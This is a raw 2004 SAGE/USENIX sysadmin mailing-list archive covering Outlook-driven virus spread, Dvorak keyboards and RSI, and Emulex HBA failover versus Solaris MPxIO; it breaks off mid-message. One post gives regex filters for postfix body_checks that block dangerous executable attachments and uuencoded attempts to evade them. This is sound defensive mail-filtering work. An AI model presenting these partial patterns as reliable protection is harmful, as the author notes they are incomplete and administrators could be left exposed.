(8.12.10/8.12.10/Submit) id i0MHVOfa014829 for sage-members-outgoing; Thu, 22 Jan 2004 09:31:24 -0800 (PST) Received: from crusoe.degler.net (crusoe.degler.net [66.114.64.229]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MHVLcH014825 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Thu, 22 Jan 2004 09:31:22 -0800 (PST) Received: from crusoe.degler.net (localhost [127.0.0.1]) by crusoe.degler.net (8.12.9p1/8.12.9) with ESMTP id i0MHVEg1005371 for ; Thu, 22 Jan 2004 12:31:14 -0500 (EST) Received: (from chuck@localhost) by crusoe.degler.net (8.12.9p1/8.12.9) id i0MHVEDh018275 for sage-members@usenix.org; Thu, 22 Jan 2004 12:31:14 -0500 (EST) Date: Thu, 22 Jan 2004 09:31:14 -0800 From: Chuck Yerkes To: sage-members@usenix.org Subject: Re: [SAGE] viruses, spam Message-ID: <20040122173114.GA5780@snew.com> Reply-To: sage-members@usenix.org References: <200401201842.i0KIgXig029095@ace.DELOS.COM> <20040122050323.GA26017@snew.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.60 X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on crusoe.degler.net X-OriginalArrivalTime: 22 Jan 2004 17:33:26.0421 (UTC) FILETIME=[D7953450:01C3E10D] Sender: owner-sage-members@usenix.org Precedence: bulk Quoting Brad Knowles (brad.knowles@skynet.be): > At 9:03 PM -0800 2004/01/21, Chuck Yerkes wrote: .. > unable to use something more suitable, and they were unwilling or > incapable of using the filtering tools provided to them by the > vendor, so instead they bitched and bitched until I got tired of it > all. Well, we've seen all this about "Cyber attacks" and a starting awareness of the importance of the Internet and a (finally) growing awareness of the truism which I first heard in public from Cheswick about the Internet becoming like having state after state planted with exactly the same strain of wheat - just waiting for weevils... (all this despite the "cover our ears" actions like firing CTOs for daring voice this). We at Usenix could take leadership and start to identify the things that could enstrengthen* this "Axis of Weevil" - in cyber terms... Perhaps we should instead pass out buttons at LISA/Usenix events: "If you use Outlook and IE, you're contributing to Terrorism." chuck *I'm enstriving to speak like the Resident of the United States. From sage-members-owner@usenix.org Thu Jan 22 17:38:40 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0N1cdcH024438 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 17:38:39 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0N1cdae024436 for sage-members-outgoing; Thu, 22 Jan 2004 17:38:39 -0800 (PST) Received: from rijpat-s-321-a2.europe.shell.com (gi-smtpout1-eu.shell.com [145.26.110.68]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0N1cbcG024432 for ; Thu, 22 Jan 2004 17:38:38 -0800 (PST) Received: from RIJPAT-S-337-a2.europe.shell.com ([145.26.111.110]) by rijpat-s-321-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Fri, 23 Jan 2004 02:38:36 +0100 Received: from mail pickup service by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC; Fri, 23 Jan 2004 02:35:38 +0100 Received: from usenix.org ([131.106.3.1]) by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Thu, 22 Jan 2004 18:54:52 +0100 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MHqpcH015647 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 22 Jan 2004 09:52:51 -0800 (PST) Received: from localhost (majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) with SMTP id i0MHqo72015646; Thu, 22 Jan 2004 09:52:50 -0800 (PST) Received: by voyager.usenix.org (bulk_mailer v1.13); Thu, 22 Jan 2004 09:52:07 -0800 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MHq6cH015548 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 09:52:06 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0MHq6pI015546 for sage-members-outgoing; Thu, 22 Jan 2004 09:52:06 -0800 (PST) Received: from pimout3-ext.prodigy.net (pimout3-ext.prodigy.net [207.115.63.102]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MHq4cG015542 for ; Thu, 22 Jan 2004 09:52:04 -0800 (PST) Received: from therondosseycpa.com (adsl-65-71-99-193.dsl.hstntx.swbell.net [65.71.99.193]) by pimout3-ext.prodigy.net (8.12.10/8.12.10) with ESMTP id i0MHq3MH118272 for ; Thu, 22 Jan 2004 12:52:03 -0500 Received: from localhost (localhost.localdomain [127.0.0.1]) by therondosseycpa.com (8.12.10/8.11.6) with ESMTP id i0MItdQU003779 for ; Thu, 22 Jan 2004 12:55:39 -0600 Date: Thu, 22 Jan 2004 12:55:39 -0600 (CST) From: Justin Dossey X-X-Sender: jbd@localhost.localdomain To: sage-members@usenix.org Subject: Re: [SAGE] Suggestions for Dvorak (learning/good keyboards/etc) In-Reply-To: <20040122164152.9DECAA8BE7@lucy.corp.lumeta.com> Message-ID: References: <20040122164152.9DECAA8BE7@lucy.corp.lumeta.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-OriginalArrivalTime: 22 Jan 2004 17:55:19.0254 (UTC) FILETIME=[E6179F60:01C3E110] Sender: owner-sage-members@usenix.org Precedence: bulk I went to all the trouble of learning the two-handed Dvorak layout because of RSI. It's fast, but I found that the motion was even more repetitive than the QWERTY layout-- all up and down, no stretches or pauses. This made my RSI even worse! Also, switching back and forth between Dvorak and QWERTY is serious not-fun. After a few months on Dvorak, my fingers just didn't know the QWERTY layout anymore! Regular breaks and proper exercise wound up being much more effective for me with my RSI, even more so than ergonomic workstation changes. There are applications like XGrabber ( http://sourceforge.net/projects/xgrabber/ ) that help you remember to take breaks. Good luck with Dvorak if you go with it. Justin Dossey On Thu, 22 Jan 2004, Glenn E. Sieb wrote: > Over the past few years, on and off, I have trouble with my elbows. My doctor tells me it's a sign of repetitive motion injury, and I should try and change things like the keyboard(s) I use, and the way I type. I'm a fairly competent (140wpm or so) typist on a Sholes/Qwerty keyboard, and I have a few friends who use Dvorak and insist it's a good way to go, along with possibly an old Northgate Ultra/Avant Stellar, or one of the wackier split keyboards. I've used split keyboards in the past, but, being a touch typist, they annoy me as they always seem to put the 6 on the left hand, which tends to annoy me.. > > Anywho.. I figured people here might have some good suggestions. :) > > Thanks in advance! > Glenn > > From sage-members-owner@usenix.org Thu Jan 22 17:44:42 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0N1igcH024923 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 17:44:42 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0N1ifaj024922 for sage-members-outgoing; Thu, 22 Jan 2004 17:44:41 -0800 (PST) Received: from mail.reptiles.org (root@mail.reptiles.org [198.96.117.157]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0N1iecG024918 for ; Thu, 22 Jan 2004 17:44:40 -0800 (PST) Received: from mail.reptiles.org([198.96.117.157] port=2920) (1965 bytes) by mail.reptiles.org([198.96.117.157] port=25) via TCP with esmtp (sender: ) id for ; (dest:remote)(R=bind_hosts)(T=inet_zone_bind_smtp) Thu, 22 Jan 2004 20:44:39 -0500 (EST) (Smail-3.2.0.116-Pre 2003-Jun-18 #7 built 2003-Dec-23) Date: Thu, 22 Jan 2004 20:44:39 -0500 (EST) From: Cat Okita To: Justin Dossey cc: sage-members@usenix.org Subject: Re: [SAGE] Suggestions for Dvorak (learning/good keyboards/etc) In-Reply-To: Message-ID: <20040122204212.M14525-100000@iguana.reptiles.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Thu, 22 Jan 2004, Justin Dossey wrote: > I went to all the trouble of learning the two-handed Dvorak layout > because of RSI. It's fast, but I found that the motion was even more > repetitive than the QWERTY layout-- all up and down, no stretches or > pauses. This made my RSI even worse! Also, switching back and forth > between Dvorak and QWERTY is serious not-fun. After a few months on > Dvorak, my fingers just didn't know the QWERTY layout anymore! Hrm. I've found that Dvorak has done wonders for my RSI ;> Typing QWERTY again always leaves my hands/wrists hurting. I learned dvorak in about a week, although that's probably not normal, and I touch type dvorak these days [I also touch type QWERTY, but it takes a bit to get my fingers back in gear, since I don't swap keyboard mappings as often anymore]. As far as how to learn it? I put tape on my keycaps, and did a lot of interactive typing ;> By the time the tape wore off, I was typing the right letters reliably, and not looking at the keyboard anymore ;> cheers! ========================================================================== "A cat spends her life conflicted between a deep, passionate and profound desire for fish and an equally deep, passionate and profound desire to avoid getting wet. This is the defining metaphor of my life right now." From sage-members-owner@usenix.org Thu Jan 22 17:51:01 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0N1p0cH025386 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 17:51:01 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0N1p0Tp025385 for sage-members-outgoing; Thu, 22 Jan 2004 17:51:00 -0800 (PST) Received: from rijpat-s-323-a2.europe.shell.com (gi-smtpout2-eu.shell.com [145.26.110.69]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0N1owcG025381 for ; Thu, 22 Jan 2004 17:50:59 -0800 (PST) Received: from RIJPAT-S-337-a2.europe.shell.com ([145.26.111.110]) by rijpat-s-323-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Fri, 23 Jan 2004 02:50:58 +0100 Received: from mail pickup service by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC; Fri, 23 Jan 2004 02:48:41 +0100 Received: from usenix.org ([131.106.3.1]) by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Thu, 22 Jan 2004 18:41:21 +0100 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MGhmcH013375 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 22 Jan 2004 08:43:48 -0800 (PST) Received: from localhost (majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) with SMTP id i0MGhmQk013374; Thu, 22 Jan 2004 08:43:48 -0800 (PST) Received: by voyager.usenix.org (bulk_mailer v1.13); Thu, 22 Jan 2004 08:43:11 -0800 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MGhAcH013279 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 08:43:10 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0MGhAf0013278 for sage-members-outgoing; Thu, 22 Jan 2004 08:43:10 -0800 (PST) Received: from exgw2.lumeta.com (exgw2.lumeta.com [65.198.68.66]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MGh9cG013274 for ; Thu, 22 Jan 2004 08:43:09 -0800 (PST) Received: from ingw2.lumeta.com (h65-246-245-2.lumeta.com [65.246.245.2]) by exgw2.lumeta.com (Postfix) with ESMTP id 047D65F9071 for ; Thu, 22 Jan 2004 11:38:17 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by ingw2.lumeta.com (Postfix) with ESMTP id 5DD395196F for ; Thu, 22 Jan 2004 11:43:08 -0500 (EST) Received: from ingw2.lumeta.com ([127.0.0.1]) by localhost (ingw2.lumeta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 64942-04 for ; Thu, 22 Jan 2004 11:42:35 -0500 (EST) Received: from lucy.corp.lumeta.com (lucy.corp.lumeta.com [65.246.245.10]) by ingw2.lumeta.com (Postfix) with ESMTP id B992F5194D for ; Thu, 22 Jan 2004 11:41:52 -0500 (EST) Received: from lulu.corp.lumeta.com (lulu.corp.lumeta.com [65.246.245.9]) by lucy.corp.lumeta.com (Postfix) with ESMTP id 9DECAA8BE7 for ; Thu, 22 Jan 2004 11:41:52 -0500 (EST) Received: from gsieb2.corp.lumeta.com by lulu.corp.lumeta.com with ESMTP id 2319641074789602; Thu, 22 Jan 2004 11:40:02 -0500 From: "Glenn E. Sieb" To: sage-members@usenix.org Subject: [SAGE] Suggestions for Dvorak (learning/good keyboards/etc) Date: Thu, 22 Jan 2004 11:40:04 -0500 Organization: Lumeta Corporation X-Sent-Folder-Path: Sent Items X-Mailer: Oracle Connector for Outlook 9.0.4 51015 (10.0.4712) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <20040122164152.9DECAA8BE7@lucy.corp.lumeta.com> X-Virus-Scanned: by amavisd-new at lumeta.com Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by usenix.org id i0MGh9cG013275 X-OriginalArrivalTime: 22 Jan 2004 17:42:11.0375 (UTC) FILETIME=[107AD3F0:01C3E10F] Sender: owner-sage-members@usenix.org Precedence: bulk Over the past few years, on and off, I have trouble with my elbows. My doctor tells me it's a sign of repetitive motion injury, and I should try and change things like the keyboard(s) I use, and the way I type. I'm a fairly competent (140wpm or so) typist on a Sholes/Qwerty keyboard, and I have a few friends who use Dvorak and insist it's a good way to go, along with possibly an old Northgate Ultra/Avant Stellar, or one of the wackier split keyboards. I've used split keyboards in the past, but, being a touch typist, they annoy me as they always seem to put the 6 on the left hand, which tends to annoy me.. Anywho.. I figured people here might have some good suggestions. :) Thanks in advance! Glenn -- Glenn E. Sieb System Administrator Lumeta Corporation +1 732 357-3514 (V) +1 732 564-0731 (Fax) From sage-members-owner@usenix.org Thu Jan 22 19:51:15 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0N3pFcH027161 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 19:51:15 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0N3pEsL027160 for sage-members-outgoing; Thu, 22 Jan 2004 19:51:14 -0800 (PST) Received: from amber.ccs.neu.edu (amber.ccs.neu.edu [129.10.116.51]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0N3pDcG027156 for ; Thu, 22 Jan 2004 19:51:13 -0800 (PST) Received: from zubeneschamali.ccs.neu.edu (zubeneschamali.ccs.neu.edu [129.10.117.154]) by amber.ccs.neu.edu (Postfix) with ESMTP id 829C054142 for ; Thu, 22 Jan 2004 22:51:12 -0500 (EST) Received: from dnb by zubeneschamali.ccs.neu.edu with local (Exim 4.20) id 1AjsLg-0006F5-EQ for sage-members@usenix.org; Thu, 22 Jan 2004 22:51:12 -0500 Date: Thu, 22 Jan 2004 22:51:12 -0500 From: "David N. Blank-Edelman" To: sage-members@usenix.org Subject: Re: [SAGE] Keeping yourself sharp... Message-ID: <20040123035112.GE23747@zubeneschamali.ccs.neu.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: Sender: owner-sage-members@usenix.org Precedence: bulk I was thinking about this request and it occurs to me that you'll probably be in a place with lots of sand. If this was the U.S. television show Gilligan's Island, you would construct something out of coconuts to process that sand and build the computer you need. At the very least, I bet you could get a mean Turing machine operational in 3 weeks. -- dNb P.S. Seriously though, hope you have a good time wherever you are going. From sage-members-owner@usenix.org Thu Jan 22 20:12:19 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0N4CJcH027540 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 20:12:19 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0N4CJGE027538 for sage-members-outgoing; Thu, 22 Jan 2004 20:12:19 -0800 (PST) Received: from mdev.river.com (yampa.river.com [206.168.112.68]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0N4CHcG027533 for ; Thu, 22 Jan 2004 20:12:17 -0800 (PST) Received: from localhost (v13.river.com [206.168.117.188]) by mdev.river.com (Postfix) with ESMTP id 327ED23F48 for ; Thu, 22 Jan 2004 21:12:05 -0700 (MST) Mime-Version: 1.0 Message-Id: In-Reply-To: <200401222046.i0MKk2N2019407@voyager.usenix.org> References: <200401222046.i0MKk2N2019407@voyager.usenix.org> Date: Thu, 22 Jan 2004 21:11:46 -0700 To: sage-members@usenix.org From: "Richard Johnson" Subject: Re: [SAGE] viruses, spam Content-Type: text/plain; charset="us-ascii" Sender: owner-sage-members@usenix.org Precedence: bulk At 12:46 -0800 on 2004-01-22, owner-sage-members@usenix.org wrote: > If you want to catch a wider array of attachments, similar strings in the > taboo_body or taboo_headers regexps can do the trick. > > -Josh (irilyth@infersys.com) This regexp (suggested for taboo_body) catches some of the dangerous application extensions: /^(Content-(Disposition: attachment;|Type:).*|\s+)(file)?name\s*=\s*"?.*\.(lnk|bat|c[ho]m|cmd|com|exe|dll|vxd|pif|scr|hta|jse?|sh[mbs]|vb[esx]|ws[fh])"?\s*$/ And this one catches some uuencoded dodge attempts for the same extensions: /^begin [0-9]{1,4} .*\.(lnk|bat|c[ho]m|cmd|com|exe|dll|vxd|pif|scr|hta|jse?|sh[mbs]|vb[esx]|ws[fh])$/ Salt to taste. (No guarantees of completeness are made here.) I've been using them in postfix's body_checks (and the equivalent in maildrop [1] filters) to good effect. That is, aside from lists which send such malware, flag the resulting bounce, and automatically unsubscribe the user's address. Thankfully, while sage-members has sent such attachments under b[e]agle worm attack, and my system refused the containing message, the bounce->unsubscribe on sage-members isn't hairtrigger enough to nuke me. YMMV. :-) Richard [1] http://www.flounder.net/~mrsam/maildrop/ From sage-members-owner@usenix.org Thu Jan 22 21:27:08 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0N5R8cH028617 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 21:27:08 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0N5R8dp028616 for sage-members-outgoing; Thu, 22 Jan 2004 21:27:08 -0800 (PST) Received: from amber.ccs.neu.edu (amber.ccs.neu.edu [129.10.116.51]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0N5R5cG028612 for ; Thu, 22 Jan 2004 21:27:05 -0800 (PST) Received: from zubeneschamali.ccs.neu.edu (zubeneschamali.ccs.neu.edu [129.10.117.154]) by amber.ccs.neu.edu (Postfix) with ESMTP id 515DB549BD; Thu, 22 Jan 2004 23:27:36 -0500 (EST) Received: from dnb by zubeneschamali.ccs.neu.edu with local (Exim 4.20) id 1Ajsuu-0006Pt-7A; Thu, 22 Jan 2004 23:27:36 -0500 Date: Thu, 22 Jan 2004 23:27:36 -0500 From: "David N. Blank-Edelman" To: "Glenn E. Sieb" Cc: sage-members@usenix.org Subject: Re: [SAGE] Suggestions for Dvorak (learning/good keyboards/etc) Message-ID: <20040123042735.GF23747@zubeneschamali.ccs.neu.edu> References: <20040122164152.9DECAA8BE7@lucy.corp.lumeta.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040122164152.9DECAA8BE7@lucy.corp.lumeta.com> Sender: owner-sage-members@usenix.org Precedence: bulk Hi Glenn- I'm also in the RSI camp, though not with elbow issues. I agree with observations/advice so far (especially Trey's comment about this being an very idiosyncratic problem). Here's a few of my suggestions: 1) At the point when it was at the worst for me about 10 years ago, I came to the conclusion that the "S for Syndrome" part in the name was a euphemism in the Western medical community for "We have no idea." We have no idea why you got this pain, why others don't, and just what to do to help you. All we know is what helps some people some of the time, so here: try all of these things, maybe one of them will work. You won't really know what helped because you'll be doing everything at once, but hey, you'll feel better. Eventually you'll figure out what it was because you'll stop doing the other stuff on your own (prescription by attrition). Ultimately I had to step outside of this model to get relief. Yes, changing behavior helped some, but really the one thing that worked for me (and continues to work for me) is acupuncture. I'm just bringing this up just so you know there are other avenues to deal with this stuff besides what your doctor says. 2) For several years I used the the win32 version of the program WorkPace (www.workpace.com) as my "take a break" software because it seemed to be the best of the lot. I see they have support for MacOS, Linux, Solaris and HP-UX in their new version, but I haven't tried it. The thing I liked most about it was it had this concept of "micro- breaks." The vast majority of the software out there for this issue has you work for N minutes and then rest for M minutes (e.g. work for 45, rest for 5). Workpace can do this, but it also has an optional setting that says work for N minutes (for some small value of N), rest for 7 or 8 seconds. I found it made a lot of sense to stop typing for 7 or 8 seconds after a jag of 10 or 15 minutes of straight typing. A five or seven minute break is long enough to break your concentration at an arbitrary point, but having to wait a few seconds before continuing isn't nearly as annoying. 3) I don't know how up to date this book is (or even how good its advice is), but I found one part of "Pain Free at Your PC" by Pete Egoscue to be helpful. Specifically, there's a section in this book on the diagnostic tests a doctor uses to determine what is going on around this subject. I found it very empowering to know just what I was being asked to do and why during the initial diagnostic phases. Hope some of this stuff helps, I'm more than happy to talk more about this offline if any of my experience can be helpful to you. I know just how un-fun this stuff can get. -- dNb From sage-members-owner@usenix.org Fri Jan 23 07:58:35 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NFwZcH006279 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 07:58:35 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0NFwZEp006278 for sage-members-outgoing; Fri, 23 Jan 2004 07:58:35 -0800 (PST) Received: from westnet.com (root@westnet.com [206.24.6.2]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NFwWcG006274 for ; Fri, 23 Jan 2004 07:58:33 -0800 (PST) Received: from westnet.com (localhost [127.0.0.1]) by westnet.com (8.12.10/8.12.10) with ESMTP id i0NFwTKN021403 for ; Fri, 23 Jan 2004 10:58:29 -0500 (EST) Received: from localhost (levins@localhost) by westnet.com (8.12.10/8.12.10/Submit) with ESMTP id i0NFwTKZ021398 for ; Fri, 23 Jan 2004 10:58:29 -0500 (EST) Date: Fri, 23 Jan 2004 10:58:29 -0500 (EST) From: Adam and Christine Levin X-X-Sender: levins@westnet To: SAGE mailing list Subject: [SAGE] Experience with Emulex HBA software Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk Hey all, we're looking at HBA failover software. We're buying Emulex HBAs for our Sun E4500 running Solaris 8, and I see that Emulex sells something called "MultiPulse". Has anyone used this product? It does failover as well as load balancing. We're considering switching our filesystems to Veritas and using their DPM, but that's a pretty costly transition in both time and effort, and if the Emulex product is decent, it gives us an alternative. Thanks! -Adam From sage-members-owner@usenix.org Fri Jan 23 08:21:35 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NGLYcH007026 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 08:21:34 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0NGLYTl007025 for sage-members-outgoing; Fri, 23 Jan 2004 08:21:34 -0800 (PST) Received: from mailhub3.dartmouth.edu (mailhub3.Dartmouth.EDU [129.170.16.106]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NGLVcG007021 for ; Fri, 23 Jan 2004 08:21:32 -0800 (PST) Received: from newcupid.Dartmouth.EDU (newcupid.dartmouth.edu [129.170.208.34]) by mailhub3.dartmouth.edu (8.12.10+DND/8.12.10) with ESMTP id i0NEUrE2012526; Fri, 23 Jan 2004 11:21:30 -0500 Message-id: <26083756@newcupid.Dartmouth.EDU> Date: 23 Jan 2004 11:21:29 EST From: James.E.Dobson@Dartmouth.EDU (James E. Dobson) Reply-To: James.E.Dobson@Dartmouth.EDU Subject: Re: [SAGE] Experience with Emulex HBA software To: levins@westnet.com (Adam and Christine Levin), sage-members@sage.org (SAGE mailing list) X-Mailer: BlitzMail/blitzserv 3.10b11 MIME-Version: 1.0 X-MailScanner: No virus detected by mailhub3.Dartmouth.EDU Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, 23 Jan 2004 10:58:29 -0500 (EST) Adam and Christine Levin wrote: > We're considering switching our filesystems to Veritas > and using their DPM, but that's a pretty costly > transition in both time and effort, and if the Emulex > product is decent, it gives us an alternative. MPxIO a.k.a Sun StorEdge traffic manager might work for you. If you are going to buy VxVFS/VxVM just for DMP, IMHO you are wasting your money. Included with Solaris. I've got multiple servers using this to SAN (1gb & 2gb) with T3/T4s (both 2 and 4 adapters in some hosts) -jed From sage-members-owner@usenix.org Fri Jan 23 08:27:40 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NGRecH007469 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 08:27:40 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0NGReGp007467 for sage-members-outgoing; Fri, 23 Jan 2004 08:27:40 -0800 (PST) Received: from westnet.com (root@westnet.com [206.24.6.2]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NGRbcG007461 for ; Fri, 23 Jan 2004 08:27:37 -0800 (PST) Received: from westnet.com (localhost [127.0.0.1]) by westnet.com (8.12.10/8.12.10) with ESMTP id i0NGRXKN000422; Fri, 23 Jan 2004 11:27:33 -0500 (EST) Received: from localhost (levins@localhost) by westnet.com (8.12.10/8.12.10/Submit) with ESMTP id i0NGRXg1000417; Fri, 23 Jan 2004 11:27:33 -0500 (EST) Date: Fri, 23 Jan 2004 11:27:33 -0500 (EST) From: Adam and Christine Levin X-X-Sender: levins@westnet To: "James E. Dobson" cc: SAGE mailing list Subject: Re: [SAGE] Experience with Emulex HBA software In-Reply-To: <26083756@newcupid.Dartmouth.EDU> Message-ID: References: <26083756@newcupid.Dartmouth.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, 23 Jan 2004, James E. Dobson wrote: > MPxIO a.k.a Sun StorEdge traffic manager might work for you. Even without Sun StorEdge arrays? We're getting a NetApp. > If you are going to buy VxVFS/VxVM just for DMP, IMHO you > are wasting your money. Included with Solaris. I've got > multiple servers using this to SAN (1gb & 2gb) with T3/T4s > (both 2 and 4 adapters in some hosts) Veritas isn't included with Solaris, if that's what you meant. We're looking at Veritas for getting the faster reboots in case of crashes, and also because VxFS is faster than UFS. The SAN is small, consisting of just our Oracle machine, data warehouse and one other incidental machine that, among other things, will handle backups of the Oracle data to tape. Getting VxFS on Oracle means getting VxFS on *all* the machines, which we may not want to do precisely because of the expense. Since we're using the Emulex cards, I figured if the MultiPulse technology is good, that may save the day, since we only need it on the Oracle machine. Thanks, -Adam From sage-members-owner@usenix.org Fri Jan 23 08:29:32 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NGTWcH007597 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 08:29:32 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0NGTVp6007596 for sage-members-outgoing; Fri, 23 Jan 2004 08:29:31 -0800 (PST) Received: from mx.starshine.org (postfix@antares.starshine.org [216.240.40.177]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NGTScG007585 for ; Fri, 23 Jan 2004 08:29:30 -0800 (PST) Received: from mercury.starshine.org (mercury.starshine.org [216.240.40.182]) by mx.starshine.org (Postfix) with ESMTP id 030963C46; Fri, 23 Jan 2004 08:46:03 -0800 (PST) Received: from jimd by mercury.starshine.org with local (Exim 3.36 #1 (Debian)) id 1Ak4AJ-0007iz-00; Fri, 23 Jan 2004 08:28:15 -0800 Date: Fri, 23 Jan 2004 08:28:15 -0800 To: "Glenn E. Sieb" Cc: sage-members@usenix.org Subject: Re: [SAGE] Suggestions for Dvorak (learning/good keyboards/etc) Message-ID: <20040123162815.GA29028@mercury.starshine.org> References: <20040122164152.9DECAA8BE7@lucy.corp.lumeta.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040122164152.9DECAA8BE7@lucy.corp.lumeta.com> User-Agent: Mutt/1.5.4i From: jimd@starshine.org Sender: owner-sage-members@usenix.org Precedence: bulk On Thu, Jan 22, 2004 at 11:40:04AM -0500, Glenn E. Sieb wrote: > Over the past few years, on and off, I have trouble with my elbows. My > doctor tells me it's a sign of repetitive motion injury, and I should > try and change things like the keyboard(s) I use, and the way I > type. I'm a fairly competent (140wpm or so) typist on a 